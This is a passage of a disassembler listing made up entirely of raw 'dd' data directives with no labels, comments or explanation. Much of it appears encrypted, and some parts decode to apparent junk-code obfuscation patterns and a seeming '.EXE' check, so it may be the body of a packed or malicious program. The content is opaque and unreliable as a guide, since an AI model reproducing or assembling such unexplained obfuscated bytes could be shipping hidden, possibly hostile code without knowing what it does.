		dd 0D81EE6D4h, 0DBE8C177h, 0B91CBFE8h, 755EFFA6h, 27F65C5Ah
		dd 2ECC7A44h, 4D4079Dh,	46456C85h, 8BE3h, 17126E00h, 580F9FACh
		dd 1DAF263h, 9E0FD05Bh,	8C5906B7h, 5C5ABF2Dh, 48D39425h
		dd 984CECB9h, 76BA5275h, 6FE9E751h, 9130DDEAh, 0B9F138AEh
		dd 0BAA73E0h, 43F138AEh, 0F13CE96Ah, 87C705E4h,	0C51A7CBDh
		dd 0A253FA02h, 97C4B3DAh, 616E5DD4h, 7FAB15B4h,	0EB6C3D2Bh
		dd 0B924B786h, 45EEDEA6h, 0E48C701Bh, 0B99A8D52h, 0A7501822h
		dd 0AF4F16E2h, 0A455FCF8h, 7B7A415h, 0FDA8B743h, 5C5A755Ch
		dd 994225F4h, 52C9E0FBh, 12000000h, 1BAC1712h, 0D3E9ECB9h
		dd 0AF554D73h, 8E9FAADAh, 926A1DD1h, 597214D1h,	0D85C8608h
		dd 0F20EECA8h, 0E8618A2Bh, 81EBC2F9h, 6839B7F1h, 1822B957h
		dd 5B9A650h, 0EC0ABA41h, 7CE5D465h, 7517B65Fh, 6E3F5C5Ah
		dd 0E445103Fh, 6C5C5A75h, 0FB21BA9Dh, 3E05B9E0h, 4D0EAFB6h
		dd 0FEA7F5B1h, 5C5A755Fh, 0F4F103C4h, 29D19525h, 1CBF4778h
		dd 5656CBB9h, 713D9955h, 539A3BE2h, 0DBB25C5Ah,	0DEEDC078h
		dd 4D407EDh, 46456C85h,	67E3h, 1B126E00h, 0A6B91FB0h, 0FFA65018h
		dd 5C5A755Eh, 1B4427F6h, 0A0F12872h, 7DC62A64h,	8E769416h
		dd 0D96D3A5Ah, 8A3E21F6h, 0BA1BC2D5h, 92EBE699h, 0C9462EC2h
		dd 6E3FC8EBh, 0BA2F38EDh, 19CDC257h, 37C68F6Fh,	0C35A9734h
		dd 0B922B910h, 755EFFA6h, 27F65C5Ah, 30CE7A44h,	0B9E0FB9Fh
		dd 92BB4305h, 666F80E3h, 0BC000000h, 1FB01B12h,	65C8ECB9h
		dd 3EF0EE24h, 3EB87085h, 14576617h, 0E783CB51h,	0D83B6A4Dh
		dd 0CEFB5E54h, 0D028DD91h, 0BC3CE989h, 0DFDE6AEDh, 0FFA6B9ECh
		dd 5C5A755Eh, 6D3827F6h, 5C5A75CCh, 0ADB2B584h,	0FFA6B916h
		dd 5C5A755Eh, 7A4427F6h, 287631CEh, 5A75DC7Dh, 14A5745Ch
		dd 0ECCEB6A5h, 0CACE1B07h, 0FBA63536h, 495118E0h, 5A753D9Ch
		dd 0D422E25Ch, 18F1EC8Dh, 0A519C089h, 59F79317h, 0C33ABBh
		dd 0F43E386Dh, 0CD504B45h, 883DF1DEh, 0F5882970h, 0DC8DB2B7h
		dd 0CB92C924h, 0B2B7F56Ah, 0F95A4BE2h, 26D81308h, 5B99A60h
		dd 0DB8BB840h, 4B7F9431h, 3185C99Eh, 5018D980h,	35B39618h
		dd 9F4E11E9h, 0A751182Ch, 5FFEA7B8h, 0F75C5A75h, 27966227h
		dd 25322144h, 5A75D978h, 0B798715Ch, 0AFB64207h, 448794EBh
		dd 0E8BB1F78h, 0C372DB25h, 0DAC4E6B9h, 0F800C579h, 0E9FDF099h
		dd 0D511A4Dh, 24F02F83h, 6D86367Dh, 0C28638C8h,	4F296D3Ch
		dd 36CF7326h, 133AC488h, 37550162h, 0E4FFFFFDh,	0BD6A42FFh
		dd 2C678DCh, 0C78A5BFCh, 7232D3Bh, 7D1DECD8h, 8A99A2D0h
		dd 0C38A6C1Ch, 0D1743132h, 795C5A3Bh, 89B48F88h, 83F2DA2h
		dd 5FF3A3C2h, 5B199702h, 9CAF5411h, 0E9FEABBh, 0A93D414Bh
		dd 0A455FCFCh, 959E05C3h, 0C1A5DEE0h, 663D02D0h, 0DB8400FCh
		dd 0DFC60292h, 6A2918E1h, 611A5E47h, 0D2E82967h, 9C0F9D7Eh
		dd 5728D0F5h, 79437856h, 353E0793h, 0EA9D0D06h,	0A9AA4B12h
		dd 0BF7C62FCh, 4C1AE045h, 1E3B6092h, 0BDC56431h, 0FC8D976Dh
		dd 0BD27864Fh, 5E2F976Dh, 90A928FDh, 9F4FDC6Fh,	0B7460FEBh
		dd 0E9543DB4h, 25CCEB4Fh, 7042388Ah, 915823D2h,	64121B80h
		dd 6F0E57A9h, 0B7AF85ECh, 0DA963F0Ch, 0B827867Ah, 324A6407h
		dd 0F7B03E21h, 1B046FEh, 77EF875Eh, 0C8F7F390h,	0C98A7036h
		dd 0BA82D168h, 443C278Dh, 1ABB629Ah, 323F90F1h,	1C094A5Bh
		dd 16457E58h, 36869E4Fh, 0F6B244C6h, 8B524108h,	367E782Ah
		dd 391A8B22h, 0D007B6Ch, 0A4520D00h, 915417E9h,	5814EB33h
		dd 0A0E7B61Bh, 7D658DE6h, 0DE313E27h, 0DA000003h, 0C3D3D230h
		dd 0E6B4F509h, 0E9B9D81Eh, 0CFDFBE3Eh, 24BDDC18h, 25CF981Ah
		dd 8D733684h, 31C77E0Ch, 96642270h, 1AC37C17h, 5B847BBBh
		dd 18E9DA93h, 0BA1A852h, 0B4A3B013h, 7D444EC8h,	0EA6D7395h
		dd 0C36DC03Bh, 0FE1EC010h, 6837AA90h, 3111E9F0h, 0D98617BAh
		dd 0D5965E25h, 0CC7B2B18h, 22902128h, 2CCD9462h, 7397A2Bh
		dd 0F9C3594Ch, 0A9CD3502h, 17CE9165h, 2EE5B3D8h, 68EEC7DEh
		dd 104DD76Eh, 0B52A85Eh, 574FE96Ah, 4A36DF6Ch, 4853AAC2h
		dd 26F973F5h, 9EF28C75h, 5D6ACD95h, 6C6D11B0h, 0FF60392Dh
		dd 113ECF72h, 5051A95Dh, 0EF768442h, 72883EF0h,	416034F1h
		dd 305E5B09h, 1EB72392h, 8C6C9E77h, 0AB99C6C2h,	11862D67h
		dd 1CC9D977h, 0E1BD7BDCh, 0A7A875E2h, 9B91A04Ah, 95A1BDD6h
		dd 70100FF6h, 0BB365702h, 5C175E2h, 8B7966F5h, 0AEC2E823h
		dd 0BA1B8299h, 5FA502F6h, 690851ADh, 0F3BA9D6Ch, 0C7B5E7A3h
		dd 6F5AA4ABh, 6BCAD39Bh, 0E3A502F4h, 0F48021ECh, 0F1C8A502h
		dd 0E52AB8C0h, 0E5DC1DD9h, 0EFE78DD4h, 0B4DE87D4h, 564267B5h
		dd 2E46562Ah, 0C0C0970Eh, 8E38EF2h, 8A842831h, 98220A39h
		dd 0F8F45714h, 7180748h, 1F46B277h, 2C28FD5Eh, 12C90721h
		dd 0BB45364Dh, 0C5A835FFh, 36DFCEE7h, 0DE0C9335h, 0F240C6FEh
		dd 0B79A7F6Dh, 0A40F5C99h, 0A8AB5116h, 53E37049h, 0E3F46397h
		dd 3A639753h, 0B8CE639Bh, 70D17CB3h, 0D8B8CE63h, 3EEF7041h
		dd 1340BA70h, 63F85904h, 97E3B8CEh, 708D2636h, 0AEB18865h
		dd 0B2A1EEB7h, 0CDA1C5BBh, 0E4668EEAh, 0A50439BDh, 928C284Ah
		dd 197B2231h, 0A39B5CCBh, 0BCA55913h, 0EA8B5AFDh, 0E2926C3Ah
		dd 2EC60333h, 17A64B7Eh, 973E514Eh, 0BD913836h,	2CCC8F1Eh
		dd 389D5832h, 2953A162h, 0EA9E4845h, 4714A514h,	63FBA99Eh
		dd 0A7631374h, 0F2551053h, 315854C8h, 0ED200A72h, 20F95409h
		dd 9DD3F75Bh, 0F4F3DA34h, 1C5h,	98F909C1h, 1A05E0Ah, 0A203F3B1h
		dd 4A55714h, 0A607EDB6h, 0B66D314Fh, 9E4F5F3Eh,	0B6734362h
		dd 97536342h, 0F6694263h, 84658E2Fh, 0C4D7C65Bh, 0F9B01412h
		dd 0CF1420C6h, 3C6D0E99h, 0C37DE6Dh, 0C0FEF62h,	86C496CFh
		dd 1ABB6275h, 0FF692F68h, 5930AD49h, 2D5055F6h,	74B9186h
		dd 660A53EAh, 0DBEC5B68h, 0EC5A9332h, 81E2BB4Eh, 8DD9B75Eh
		dd 97B959B5h, 0B7F880A1h, 0BCCF70CEh, 8019D8B6h, 756D9DFBh
		dd 0BAA9B0ACh, 139h, 0C8D7535h,	7534CA7Eh, 16975F25h, 5839C388h
		dd 3A5B994Ah, 52119DA3h, 0FAB303A2h, 5217A706h,	0F3B707A6h
		dd 520DA607h, 84652A8Bh, 586B225Bh, 0A0AF1412h,	0B8D464F5h
		dd 200CE04Fh, 7E258AAEh, 0C38A4AE6h, 771E0DB0h,	0DE159CD6h
		dd 7F5A9E4Bh, 0A856FFAEh, 297918E2h, 32C87E7Dh,	321B8A2Bh
		dd 6624A07Eh, 7D2CCD94h, 0D85207CEh, 7F4E013Bh,	65E3E2AEh
		dd 500AAB72h, 6C42DAD2h, 0E76839BBh, 6C974261h,	7AD79F9Bh
		dd 675502A3h, 5D107517h, 71FBBAA3h, 0A8AB3947h,	0EDAC5216h
		dd 8E0FE79Dh, 0B11ED3A1h, 4A2BFEBDh, 4AB27509h,	3BBB69FDh
		dd 94536312h, 602EFF60h, 3E4C4DA7h, 4EE06F85h, 3DFC659Bh
		dd 8A43531Ah, 1E47B377h, 3F4F4E5Fh, 0C2FC358Ah,	663F9E1Bh
		dd 0B1760857h, 5565084Bh, 5A286991h, 3C5051AFh,	0E5F26162h
		dd 0E1689851h, 77560F50h, 4D1C8948h, 68E06E5Fh,	0B8A1CBDh
		dd 1B653463h, 0AA5DFBA0h, 3B6A0B52h, 2B454D18h,	78E739FAh
		dd 0D259538Ch, 2A2DFDC5h, 0F8303B7Bh, 0F5C42DE4h, 8418CE6Ch
		dd 0C44978D9h, 6839D0DBh, 30A29h, 0D7990000h, 0AC561804h
		dd 0A95115A5h, 0A55312A0h, 0B54BFEBCh
		dd 9F550EACh, 0B53F08B6h, 0A3590EACh, 0AA4CFCBAh, 0A55913A3h
		dd 895223BCh, 4C281E2h,	81000000h, 4EAh, 24148700h, 2404895Ch
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68243C89h, 4BB5h
		dd 68241489h, 7DE0254h,	83243C8Bh, 8B5404C4h, 0C4832414h
		dd 6A766804h, 3C890000h, 24348124h, 43DF0973h, 8108428Fh
		dd 9730872h, 34FF43DFh,	0C4835A24h, 243C8B04h, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 0F56C10E9h, 0B86ABDFFh, 7DE1241h
		dd 0C38BC503h, 14E8h, 8448F600h, 39B6D77Fh, 0CFE7B40Eh
		dd 0E013A5F3h, 0C081E405h, 0BF515077h, 1A47FC14h, 0F85B5858h
		dd 7109C381h, 0BE90000h, 55000000h, 65273009h, 8CB0A6F6h
		dd 1B687560h, 8B00001Ch, 81665AF9h, 8B28B1F0h, 0C7BF660Bh
		dd 73E9817Dh, 81612B4Dh, 48F82AEFh, 9FC18154h, 0E95F4A2Dh
		dd 0Dh,	11540D27h, 0BED63E1Ch, 84C446BFh, 0F0F1813Bh, 0F1B9046h
		dd 6651FFBFh, 38FC38Bh,	21F5DF81h, 0EB8321D4h, 815F5104h
		dd 1EAh, 0B0850F00h, 0E9FFFFFFh, 0Ah, 0A779B617h, 5292D895h
		dd 8D8D9BCDh, 7DE1417h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 82C35747h, 663D010Dh,	8D89C68Bh, 7D32941h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0CFC35242h
		dd 3F0CA72Ah, 88482A76h, 2BA185C7h, 6B4007D3h, 0F18A0000h
		dd 331185C7h, 7D3h, 8B510000h, 0D330A995h, 0B5FF5F07h
		dd 7D30E65h, 3D95FFFCh,	6A07D32Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1BECC357h
		dd 8976FA4Ch, 0D312359Dh, 0FF006A07h, 0D3301995h, 0EBC08B07h
		dd 28282F1Bh, 0ADB8322Bh, 0AEA15E2Dh, 0DDAE2E2Eh, 474BC085h
		dd 162D95EAh, 7C35A6F5h, 13CE9h, 4Fh dup(0)
		dd 85BD8300h, 107D325h,	4C1840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 94B09EC3h
		dd 0C0A2848Dh, 0F03138Eh, 0F87h, 0AE900h, 82EC0000h, 38C194E4h
		dd 8B4E2160h, 18D185C6h, 604307D3h, 13E9h, 0DA8BED00h
		dd 0A911ABD7h, 4687E86Ah, 2CDC8D5Ch, 0C83AA411h, 686195B6h
		dd 833B1501h, 0E8C0Fh, 52500000h, 880Fh, 310F0000h, 585A6160h
		dd 0F4243481h, 0F6F9EC5h, 684h,	9BB46000h, 0FF61D68Bh
		dd 0D30DF1B5h, 0BF666007h, 8A0FC442h, 2, 6061DEB2h, 8D61F18Bh
		dd 0DC036A85h, 0D0FFF507h, 0CD8589FCh, 0E907D331h, 0Ch
		dd 0F6950D6Eh, 0B08D0816h, 0C046032Dh, 0EE9h, 2FF7EA00h
		dd 0C16901C1h, 63EACDBBh, 0C6E399FEh, 0D318D185h, 68F95007h
		dd 8133BE75h, 9E9h, 2DAA3400h, 15F935E5h, 481AFE9h, 79EEE124h
		dd 52006A27h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 5216F03Fh, 0E967A189h, 0Ch, 821D5FA5h, 89967BEBh
		dd 71C3C0CDh, 0DF1B5FFh, 850F07D3h, 8, 800F60h,	61000000h
		dd 36A858Dh, 9E907DCh, 20000000h, 85835B12h, 7FFDDD16h
		dd 0EE9D0FFh, 79000000h, 0D828BFC0h, 481BF82Fh,	0FA8AD7B3h
		dd 49858904h, 0F07D308h, 1283h,	9E96000h, 7D000000h, 83BB8F4Eh
		dd 38AAF125h, 60615F50h, 0F5FBB70Fh, 362B6861h,	6E97553h
		dd 9000000h, 856B32A4h,	2404814Eh, 7B3C7204h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 87C35343h, 6610CED7h
		dd 7E98C993h, 0FE96012h, 0FD000000h, 4E731876h,	4268E8E5h
		dd 42106AA1h, 14E8E3B9h, 84000000h, 9DD6CFA4h, 5241B44h
		dd 0D6F2E330h, 372F1D9Ah, 5E2A2124h, 0F1B5FF61h, 0F807D30Dh
		dd 36A858Dh, 6A07DCh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 666019C3h, 0DFB0D881h, 1800Fh, 61FC0000h
		dd 12800Fh, 0DE90000h, 2F000000h, 322B2828h, 5E2DADB8h
		dd 2E2EAEA1h, 14E9D0FFh, 0CC000000h, 0E252F918h, 5937CAF5h
		dd 8C334521h, 0E28FFF95h, 8974FD90h, 0D314B185h, 10E907h
		dd 5D970000h, 1EC18223h, 966262B6h, 0D26A1B22h,	85C6A663h
		dd 7D318D1h, 8E68FC50h,	0F4B37B8h, 687h, 61606000h, 81615B51h
		dd 23C82404h, 840F4C65h, 18h, 13E9h, 0EFBCDB00h, 4E959582h
		dd 10D96277h, 3A8E095Bh, 0A2770E3Ah, 165B5FFh, 0E86007D3h
		dd 8, 0B0850DDEh, 0A5CC6A15h, 5BF2B70Fh, 840Fh,	8D610000h
		dd 0D33A3785h, 1880F07h, 0FC000000h, 8B0FD0FFh,	2, 85896160h
		dd 7D33089h, 0F3816660h, 0BE89FD4h, 83000000h, 0FBE029D6h
		dd 0DD61067Bh, 8B6629EEh, 0E9615ED3h, 1ABh, 12E9h, 0F87FBF00h
		dd 95CB1F4Bh, 0DA318F24h, 6B301D95h, 956D2403h,	58A0Fh
		dd 66600000h, 5061CF8Bh, 14E95250h, 77000000h, 4E14DDh
		dd 30496A40h, 4F4A3BE7h, 7F4ACBEEh, 0FF5DB5Dh, 860F6031h
		dd 0
		dd 95585A61h, 10890Fh, 0BE90000h, 15000000h, 0E6ECE940h
		dd 0BEB0A8A5h, 0EC8BEF51h, 0E9DE8B60h, 0Eh, 6D29ED54h
		dd 4AA5783Bh, 0A954989h, 83613961h, 60FCFCC4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 41C35141h, 0E8F0h
		dd 815A0000h, 0DE193DEAh, 0FC45C707h, 0
		dd 2585BA83h, 0F0107D3h, 9884h,	6A5200h, 92FF0F6Ah, 7D331CDh
		dd 3C82895Ah, 8D07DE14h, 0DE14409Ah, 3C75207h, 128h, 92FF5053h
		dd 7D30849h, 9A8D525Ah,	7DE1440h, 3CB2FF53h, 0FF07DE14h
		dd 0D3308992h, 0C00B5A07h, 9A8D5074h, 7DE1440h,	33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 0D1BA8D0Ch, 8B07D303h, 0A4F30C4Dh, 52AAC032h
		dd 8D0875FFh, 0D303D182h, 92FF5007h, 7D314B1h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 18810F00h, 0E9000000h, 13h, 2AD2FB09h, 0ABFEE5CCh, 3F3AD4Eh
		dd 0BDDD566Ch, 0E95F6A46h, 0Eh,	9ECDA7A1h, 0C9902E78h
		dd 7FB769EFh, 8F0F49A0h, 17h, 12E9h, 52843D00h,	0CE2F7EDFh
		dd 78F2E5D8h, 608BC312h, 8B90737Ah, 9E9D2h, 4CDD0000h
		dd 6F1Dh, 0E9000000h, 6A9h, 0B8EE1CC6h,	0FCAA280Fh, 0B7EF65C3h
		dd 0FDA9530Eh, 0B3F31DC8h, 4E17EE1h, 4B13ACDAh,	0E0E5A1h
		dd 4C17B0D6h, 8091E89Eh, 3A40B395h, 0E1E39076h,	0B2984621h
		dd 63954815h, 34B0AF94h, 0DF8B0AB1h, 95DAEC02h,	200664ECh
		dd 1C4EFC67h, 2ED00D39h, 7403C90Ch, 7FB63116h, 173C05A4h
		dd 2F01FC66h, 1471E4DCh, 0F2831883h, 0DC68BE3Bh, 54DB71E4h
		dd 4EEB5F89h, 8CB1D6Dh,	73ED955Eh, 0FD8DA314h, 0E481E348h
		dd 506B103Ah, 88B5081Ah, 0FAAC520Dh, 0AA540C93h, 0D66FFBC0h
		dd 21A6E00Ah, 12B39741h, 1DAAA04Ah, 13B49640h, 0E0AC9E34h
		dd 62256C11h, 33AFEE93h, 6CF78C09h, 0C5FAACBEh,	9F76F41Ah
		dd 50C56BD6h, 0A47E71E4h, 3917A6C5h, 59318AD7h,	0F626E006h
		dd 558B5785h, 0FFD68C18h, 5565CB36h, 4DDE4BDCh,	12BB223Dh
		dd 0FEA8B9C0h, 269EED00h, 1EC8996Ch, 5E2C8F2Ch,	38F1740Fh
		dd 352204F1h, 8E213DAFh, 0AF357DD3h, 95F5C63Dh,	8C865BE6h
		dd 8E31F64Fh, 0A7C36DF9h, 8E05h, 4621C500h, 0EDAFB298h
		dd 5E323E8Bh, 0FB6F9949h, 50352C3Eh, 0EB1940AEh, 24CA952Ah
		dd 47148C26h, 0F9FFE2B6h, 9899C8A2h, 95EC98FCh,	6B7E03DAh
		dd 0FD8D19A7h, 1C4h, 3A210000h,	6DE838A8h, 71E45ADBh, 97049768h
		dd 84AA97DEh, 0BF71E45Ah, 5AF55BC6h, 0BD4E71E4h, 775E8CDEh
		dd 5AED43BEh, 0C55671E4h, 9D3B20A5h, 9F4918ADh,	3B46B5ABh
		dd 4F379D7Ah, 3CE67F04h, 3EE8790Eh, 3E4C6F0Ch, 0DE3CDE89h
		dd 9E29D278h, 8B301AB8h, 0EF567630h, 43BE72D8h,	71E45AEDh
		dd 74D6C556h, 5B02C3C7h, 69D424BDh, 71E45AC7h, 0AB10AB7Ch
		dd 14CFD4BFh, 0B3B784E6h, 0AB9F3512h, 0EDA8D524h, 0E309D270h
		dd 0BDE9D267h, 0E4B15F08h, 0C84DBFCAh, 0E476FB4Dh, 0DBB74871h
		dd 5A30DC67h, 43917710h, 3F42B907h, 40C8F8AAh, 6DF37Eh
		dd 21AF0000h, 17B09A44h, 0B9A7A331h, 0F41AC5DAh, 5B5AE796h
		dd 992E5882h, 87B52ECCh, 0F08516E3h, 7C40AE56h,	0FE8C0E01h
		dd 5C865BECh, 54D994EEh, 40DC8D85h, 688A7Eh, 0CCD30000h
		dd 0C513F913h, 0C3C774D6h, 9A442107h, 8095AFDBh, 562A118Dh
		dd 0B131D614h, 0F645E387h, 69934A4Bh, 3149652Ch, 0D5AA55D0h
		dd 0A76CC27Fh, 44D771E4h, 214C8026h, 123CA83Ah,	9CFF29B5h
		dd 1499B3AEh, 0A59612A9h, 7C6B3FACh, 492E2965h,	0A6DF9442h
		dd 43A83A21h, 0F7A45515h, 54650873h, 3CB84B8Eh,	1A9h, 3B21E900h
		dd 4F18AD9Dh, 0F9FCA9A1h, 85D33974h, 2EFE4B01h,	19E288B2h
		dd 103AF382h, 15FC66C2h, 97CAA0F0h, 2125BD15h, 0E3485F16h
		dd 0FD44F575h, 0DEA53C2Bh, 0DC038718h, 336B57A2h, 91BB2239h
		dd 3CF1F0F9h, 7F368B2Eh, 18AD9D6Eh, 0E0E5A14Fh,	6E71D907h
		dd 0A82FF9FBh, 2590A23Ch, 0E9120F00h, 6AD822A1h, 3D780578h
		dd 62F97CA2h, 601951FBh, 5062815h, 6A3D1E0Ch, 0E6810620h
		dd 12113D38h, 3D0D4623h, 83442644h, 6DED29D8h, 8539EE51h
		dd 0CAFB698h, 0A1FA8D1Eh, 68C150FAh, 0F11FC8C5h, 0CA363CB5h
		dd 0FE510E58h, 1A000001h, 8230A685h, 1C369BA0h,	73573346h
		dd 0E30DD8EFh, 0E8C48D87h, 4ACB0ADh, 0D29B0586h, 45F0C167h
		dd 0D701DCE2h, 14A7C673h, 2706B76h, 10C940BAh, 4426AC8Bh
		dd 0F4ECF377h, 3B700675h, 24E1891Ah, 6C1195BBh,	33484DF3h
		dd 2FCC7ED4h, 0EF780D5Bh, 9F7C0941h, 0C45F1139h, 12339C16h
		dd 8FB9297Eh, 86AB0ADBh, 0DA67B6FBh, 0E600DBh, 0B8E398D2h
		dd 141DE5CEh, 6C3A766Eh, 7A000000h, 16D1A5F0h, 57C2D3E8h
		dd 77407745h, 0F2910A92h, 3B4009A7h, 0F1F07AA0h, 8A686381h
		dd 23CD992Eh, 5535DB84h, 11643716h, 6129D38Ah, 18501807h
		dd 0B8CF9C85h, 36C3F629h, 0E2112551h, 0ABAEB1B9h, 7883417Bh
		dd 496CA44Dh, 98E7E9F2h, 0CCACE795h, 0F2864CC9h, 0E8C10BD0h
		dd 4BE46656h, 0B855FD56h, 1CEF7E41h, 117026Ah, 0F0420000h
		dd 0DE74D3A3h, 0A9ECCF6Ch, 0A96939ACh, 0A4C9FAA4h, 0B37A9C5Eh
		dd 9804E046h, 0BAD0631Eh, 0FB7DB0B1h, 0D5EAECD5h, 0D368E20Ch
		dd 0E95B4B7h, 441DAA28h, 0BC49019Ah, 0C46AD723h, 0A7F0A5F3h
		dd 0A5F394BAh, 71DCAFF0h, 0F489FD9Eh, 0CE85C56Bh, 5DD828B9h
		dd 0F0A5F3CBh, 5614A778h, 0DA9AC5A5h, 15AF1532h, 4FF54553h
		dd 82A491D8h, 0C14FF61Ah, 64519CEEh, 8B0184E7h,	0FE83FA5Ch
		dd 90F624BFh, 0F725BEC5h, 3E8A173h, 55C0E64Dh, 0F0A5B2F3h
		dd 0D7D3BF50h, 0AB379051h, 445B1A81h, 0F91C6E98h, 39A71630h
		dd 6BCB5DD8h, 0A778F0A5h, 9AFCE50Bh, 893218C2h,	94095832h
		dd 5D2CFEFDh, 62BECA88h, 93E7F06Dh, 564E945h, 0D48F3832h
		dd 92634426h, 0E4B47DEFh, 6FF2D57Bh, 89FD6C5h, 0B9B15Fh
		dd 0DDE2AB6Ah, 0CD6EDC02h, 0DAD5A2BDh, 0C252099Dh, 9ACDEB3h
		dd 0E7503650h, 5401E5Eh, 0E01A7A65h, 48D93461h,	0CD84CFB7h
		dd 51CAFE50h, 5EF06D35h, 0E53551CAh, 2881B52h, 0C7A3F04Ah
		dd 847D53CEh, 0C3BAED37h, 56DBF652h, 34B1B67Fh,	12F1570Ah
		dd 0C152DBF0h, 23F0B6A9h, 9A8B1724h, 3BA46109h,	73EC9115h
		dd 0CE829DCDh, 29A1BA0Ah, 417601C9h, 8DDB776Eh,	4BAC4DC3h
		dd 28C61971h, 9B2FE712h, 13CFD4AFh, 57DAA1E9h, 0A7FA8A24h
		dd 45CFE2A0h, 25C7A025h, 7A2C8FB9h, 0F6749A45h,	305D731Fh
		dd 355779CDh, 0B5DD59C8h, 0C6A4718Fh, 94B66001h, 7DE57AD3h
		dd 88E297D3h, 924D48F5h, 0DA853A6Ch, 1C3E3634h,	6E000000h
		dd 95BBA6EFh, 0AE71E45Ah, 8B9D98DDh, 0B871E45Ah, 8138A3E7h
		dd 8EBC66FAh, 21AD9DEDh, 14B19947h, 20A5A54Bh, 13B49640h
		dd 1CA9A14Bh, 12B39741h, 1CA9A14Bh, 16AF9B45h, 1FA8A230h
		dd 48B09A38h, 815D5455h, 4C5h, 4ED8300h, 5C242C87h, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 57241C89h, 0C781E789h, 4
		dd 8704EF83h, 895C243Ch, 0B850243Ch, 7DE1A5Bh, 83585B50h
		dd 248904ECh, 24048324h, 53555F04h, 58243481h, 5D107D22h
		dd 2258F581h, 6F89107Dh, 3C8B5D08h, 0E6895624h,	4C681h
		dd 0C6830000h, 24348704h, 241C8B5Ch, 81E18951h,	4C1h, 4C18300h
		dd 5C240C87h, 0F940DEE9h, 0AD27E8FFh, 2077B8D2h, 0C50307DEh
		dd 0FDA6E0FFh, 0DBB0324Ah, 0C58C20ACh, 3D6067E8h, 2C75717Dh
		dd 77F6462h, 0C89E5301h, 0E9BA74E8h, 3F186B59h,	0E66768D8h
		dd 0ACA25369h, 4E9160D1h, 0C08C7AFBh, 4E133645h, 2BB935ECh
		dd 76B20FDEh
		dd 535C1E53h, 74B9281Dh, 0B17547E5h, 8D8D7762h,	7DE2273h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2EC35545h
		dd 8E9D166h, 96000000h,	0C11FA1D1h, 29D56711h, 0D332518Dh
		dd 418D8907h, 6A07D329h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 256AC351h, 0C7B70FF2h
		dd 2BA185C7h, 62D007D3h, 0B50B0000h, 7D31A8Dh, 331185C7h
		dd 7D3h, 0BD890000h, 7D32E2Dh, 0FFFB8B66h, 0D302D9B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0E95B302Dh, 0B58B5865h, 7D332C1h, 2D3D95FFh
		dd 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0EE866C3h, 8A000000h, 845BDD3Ch, 0EB894CE0h
		dd 4D877578h, 7E84Dh, 0A7090000h, 0A1907665h, 0FE928h
		dd 0BF3B0000h, 5A7C60BDh, 52E613C3h, 5F9074F9h,	0F5B5E5Eh
		dd 884h, 858B5000h, 7D302FDh, 0FF006A5Fh, 0D3301995h, 0EBC08B07h
		dd 0BCD4083Eh, 83CBAD56h, 0B6479B5h, 413BB4E2h,	3A76CF44h
		dd 61E4E552h, 0E4FA6AD3h, 0E465CD4Ch, 0C6A41DE1h, 0DDCB47D2h
		dd 0C1F97900h, 2ADD052Bh, 0D6B4AFEDh, 8B855624h, 0EF3886B2h
		dd 8DEEF56Eh, 0DE23AC8Dh, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 30F0C91Bh
		dd 61DBD8Bh, 8D8907D3h,	7D32941h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0FBC35545h,	0A185C7EEh, 3007D32Bh
		dd 6A00005Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 8598C357h, 0E0AF595Dh,	66B84CC1h
		dd 0BD8BF18Bh, 7D31B9Dh, 331185C7h, 7D3h, 29600000h, 0D32699B5h
		dd 55B50107h, 6107D326h, 2D9B5FFh, 15007D3h, 0D32BDDB5h
		dd 95FF5807h, 7D32D3Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 63C35343h, 0F1D3369Eh, 2629B4E8h, 14840Fh
		dd 0FE90000h, 56000000h, 590111D3h, 8712B43Bh, 4381B910h
		dd 6A1F53h, 301995FFh, 0C08B07D3h, 2B2A3EEBh, 72AA7334h
		dd 358133C8h, 683C47FDh, 7D9AB686h, 712407F4h, 924D0AA9h
		dd 2B65FAF5h, 0E3C84279h, 0D8E835CAh, 80008EEFh, 0D4936355h
		dd 0B05BE999h, 6CD09A2Bh, 65386C8Dh, 23B90261h,	266E9h
		dd 8C666000h, 4C1F6D9h,	35840Fh, 16A0000h, 165B5FFh, 858D07D3h
		dd 7DC036Ah, 8589D0FFh,	7D3311Dh, 0EFC1FE8Bh, 680Ch, 6A2006h
		dd 6857026Ah, 1000Dh, 311D95FFh, 32E907D3h, 0C6000000h
		dd 0D318D185h, 0DF685607h, 0FFA9C530h, 0D30DF1B5h, 6A858D07h
		dd 0FF07DC03h, 718589D0h, 8D07D307h, 0D30E3985h, 406A5007h
		dd 0FF56056Ah, 0D3077195h, 0C36107h, 2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 7DE2472h, 890C428Bh
		dd 0DE246A85h, 10428B07h, 246E8589h, 0B58D07DEh, 7DE24A8h
